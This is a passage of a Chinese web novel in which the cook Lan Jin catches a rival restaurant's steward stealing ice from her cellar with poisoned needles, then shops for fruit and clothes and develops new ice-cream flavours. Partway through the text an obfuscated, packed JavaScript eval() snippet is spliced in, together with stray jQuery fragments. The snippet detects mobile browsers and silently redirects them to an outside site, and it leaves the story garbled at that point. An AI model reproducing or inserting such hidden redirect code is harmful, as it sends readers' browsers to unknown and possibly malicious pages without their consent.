冰淇淋并不好做。在尝试途中，还未成功的时候，蓝锦只能做点冰碗来吃，聊以解馋。
那些存竹书院的孩子们奉为瑰宝的美味甜品，严格来说，只是蓝锦看不太上的失败品罢了。
新奇的冰淇淋吸引了在场每一位客人的注意力。人人都争先恐后地尝试。
谁还记得宴席该上一道甜点、还是两道甜点的事，连卢县令也吃得兴起，直说要再尝尝另一种口味的。
此时一众宾客早把此前捧在手里的“如意楼伪作”冰碗搁下，甚少有人吃得见底，去看它碗底的小字。
如意楼为此事花了一大笔钱财，此刻还一无所知。
管事和伙计从马车上下来，径直走入了蓝记的后院。
筷子殷勤地开锁引路：“管事大人，您看，冰窖就在这。”
管事留了个心眼：“你去开。”
筷子熟门熟路，打开冰窖盖子，钻下去露出个脑袋，示意管事踩着他的肩膀下来。
眼前大张油毡布盖着一座座冰块小山。管事心头一喜：得来全不费工夫。
蓝锦啊蓝锦，巴巴为他做嫁衣，现下还要被他偷家，待反应过来，还不偷偷在被窝里哭啊？
“火折子拿来！”管事原就打算好了，能搬就搬，搬不走的部分，一把火烤化了。除了他，谁也捞不着好。
几人上前，打算扯下油毡布，突然——
“嗷！嗷！”“杀千刀的！”
几人掌心且痛且麻，原地跳脚。低下头一看，满手都是细如牛毛的银针！
看着伤处逐渐变乌的血色，管事暗叫不好：“快走！我要看大夫。”
“哎呀，这是什么风，把您几位吹来了？”
地窖口冒出一个毛茸茸的圆脑袋，蓝锦嬉皮笑脸，以一种看热闹不嫌事大的口吻，对着底下打招呼。
“你这个毒妇！心机深重，竟敢下毒！”如意楼的管事慌不择路。刚要上来，蓝锦就手执木柴，打地鼠一般，将他的脑袋按下去了。
“您别急嘛。县衙的差役们都在周岁宴上，且等一会才能到呀。我可是没本事得很，做小本生意罢了，当不得您‘心机’、‘毒妇’的夸赞！”
管事疼得龇牙咧嘴，因为他知晓这种毒药的厉害。伤了手那都是小事，搞不好，整条胳膊都别想要了。
“不过，这倒是奇了。我自家的冰窖，自家防鼠蚁的东西，缘何到了管事大人您的手上？”
蓝锦满脸惊讶，完全是一副真心发问的样子。
“莫非您几位是专门趁我不在，行那暗地窥伺、瞒天过海、偷鸡摸狗、吃里扒外的好事？啧啧啧，都说三岁看老，管事大人，我看你是不得善终的命格呀。”
管事虽气得倒仰，却无心与她争辩——他急着去熟识的大夫那里，救他中了毒的手。
眼看时间一分一秒地流逝，手上的青紫已经蔓延至腕处。饶是不像管事一样，知晓针上的古怪，其他人也觉出了不对。
筷子直跪下磕头：“师祖，师祖饶命！我是被人骗的，我是被人逼的。求师祖放过我，我给师祖当牛做马，我给师祖消灾挡祸，无有不应的。”
蓝锦吹了吹小指甲，笑道：“别碰瓷啊，我可不是你师祖。咱们之间没什么关系，既捡了高枝，就扑棱棱飞了去吧！”
“阿姐，我们来了！”小秋扯着一个老大夫的医箱，远远地冲蓝锦招手，后头跟着安琴。
江汝月带领一小队未沾酒的差役，竟与她们同时到了。
“正好！差役大人，我家进了贼，竟想盗取百味宴赠我的冰。还好他们愚笨，未曾跑远。”
差役们二话不说，就把管事一行人扣了起来。
蓝锦还在一旁絮絮：“说起来，也多亏我上回在百味宴扎伤了手，自此便有了灵感。那种不起眼的小针，淬了毒，扎进皮肉没有知觉，却着实厉害，不正好防鼠蚁吗？”
“谁知道，正经鼠蚁没捉上，却放倒了他们这几个硕鼠。老大夫，您说是不是？”
老大夫叫甲一和乙一架着，在一旁冷汗涔涔，唯唯诺诺。在他看见如意楼管事的时候，更暗道不好。
那针上的药，是管事找他配的！
他刚才就要跑路，谁料两个黑衣人直接就把他架过来了，还直接从他的起居之处搜出来了一箱金子。
几方反应都看在眼里，差役们也不是吃干饭的。头儿见状，大手一挥：“都带走！”
蓝锦也被客客气气地请去录口供。因刚吃了她家的好酒好菜，差役们无一不是面色和蔼。
对上捆着的几个，可就没有好脸色了。真是晦气，不知道蓝小娘子做出了个什么“冰淇淋”吗？
听说不止一种口味，是市面上从未有过的点心。他们还什么都没吃上啊！
**
萧仁禹后悔走得过早，他也没能尝一口冰淇淋。
“判了，如意楼在百味宴蓄意投毒，又意图偷盗贵重物品，涉事者杖一百四十，徒三年，赔款五十两。如意楼永久禁止参加百味宴。”
萧仁禹走进蓝记大门，长叹一声，有气无力地在桌边坐下。
蓝锦给他递来了婶娘们新做的荔枝糕，甜香清爽，口感绵软顺滑，是十分难得的贵价点心！
“辛苦萧小郎君，多亏你把甲一他们借我，此事才这样顺当。”蓝锦满脸是笑，头一回对萧仁禹这般好颜色。
蓝记饮食店的冰淇淋卖得正走俏。几番试营业，蓝锦改良了模具和盛具，开发了棒冰、冰沙、雪糕各种形式。
棒冰便像是牛奶碎冰冰，是用竹筒盛了酸梅汤一类的东西，懂成圆柱体，常能看到孩童在街上捧着啃。
冰沙的样子更像酥山。果味的碎冰堆在青玉盏上，上面缀着小芋圆、糯米丸子、冰芋头、水果、果脯和坚果碎。
雪糕则是牛奶含量较多的冰品。插在一根削得光滑的小木棍上，那滋味跟冰淇淋也不相上下了。
冰淇淋则是开发了更多口味，还专门塑了一个炉子，用来烤甜筒用的脆饼。
格纹小饼卷成锥子，用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541975|171016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
圆勺挖出一个冰淇淋球，往上一放。不仅是下学的孩童爱买，寻常只去胭脂首饰铺子的女娘们也为这个常来光顾蓝记。
为了研发出更多口味，蓝锦可谓是煞费苦心。古代没有香精，她也找不到西餐圣品香草荚，如何留住各种风味？
冥思苦想了好几天，蓝锦灵机一动，还是打算从百味宴得来的那批冰上下功夫。
小秋与阿姐手挽手，去了万年县卖杂货的市场。
蓝锦曾经最爱跟院长婆婆一起去逛超市。她吃得多，在同龄人里力气大，惯常帮婆婆搬运东西。
琳琅满目的超市货架，堆满炫彩的包装，收纳整齐干净，灯光也明亮。来往的人群里，多是手挽父母的幸福孩童。
蓝锦身处其中，一点都不觉得自惭形秽，她挽着阿婆的手，仔细对着采购单子。
阿婆记性不大好了，眼睛也看不大清楚。回回都是提前写了，叫蓝锦帮着逐一往小车里装。
现在，换小秋挽着蓝锦的胳膊。姐妹俩也拿着一张单子：茉莉绿茶，话梅，橙子，青橘，桃子，苹果，桂花......
基本都是鲜果，价格不菲，还有一些小食、茶饮。
蓝锦腰包大出血，购物兴致却未落，又转去绮罗阁——自家店里新增的小顾客们常光顾的地方。
“哎，二位客官，您这边请。是姐妹俩都要试衣裳？”
掌柜的姓杜，三十有余。本是织娘，自立门户开了店，性子爽利泼辣。
绮罗阁阁如其名，满屋子绫罗绸缎。一层是布匹，二层有成衣，三层据说是贵人小姐们最爱的量身定制。
蓝锦拉着小秋上了二楼，笑道：“都看看。”
兴许是红袄的遗憾一早就满足了，小秋不再执着于红色裙衫。
屋中挂着鹅黄柳绿、粉紫蓝白的裙衫，她都好奇地打量。一看就好贵！
小秋也没显出局促来，看着阿姐做生意，她已全然懂了：卖得贵的东西，也只是东西而已，并不会让人低东西一头。
蓝锦挑了一圈，挑出了一套齐腰襦裙。藕荷色配胡粉，可爱灵动。拿给小秋看，果然见她眼前一亮。
长袍宽袖，软绢柔滑，长长的绳结拖至脚踝，衬得小秋越发光彩照人。杜掌柜直夸姐妹俩的好眼光。
蓝锦都付了钱，小秋还在她耳侧轻声问：“阿姐，为何要给我买这么贵的衣裙呀？”
蓝锦一刮她的小鼻子：“买新衣穿，有什么为何不为何的？”
姐妹俩说笑着回了家。马车上的鲜果小食都被搬进了厨房，有些削皮，有些洗净，有些切块。
寻了小坛子，每样一坛，用清水泡了起来。坛子口盖住之后，用水封了口。俱送到冰窖里冷藏。
第二天一早，蓝锦就迫不及待地喊人把坛子启出来瞧瞧究竟。
嗯！香气浓郁，风味十足，冷萃法诚不欺她！
此时并不急着使用。再往小坛子里倒入与水差不多等量的白糖，仍旧送进冰窖里放上三个时辰，静静等糖融化。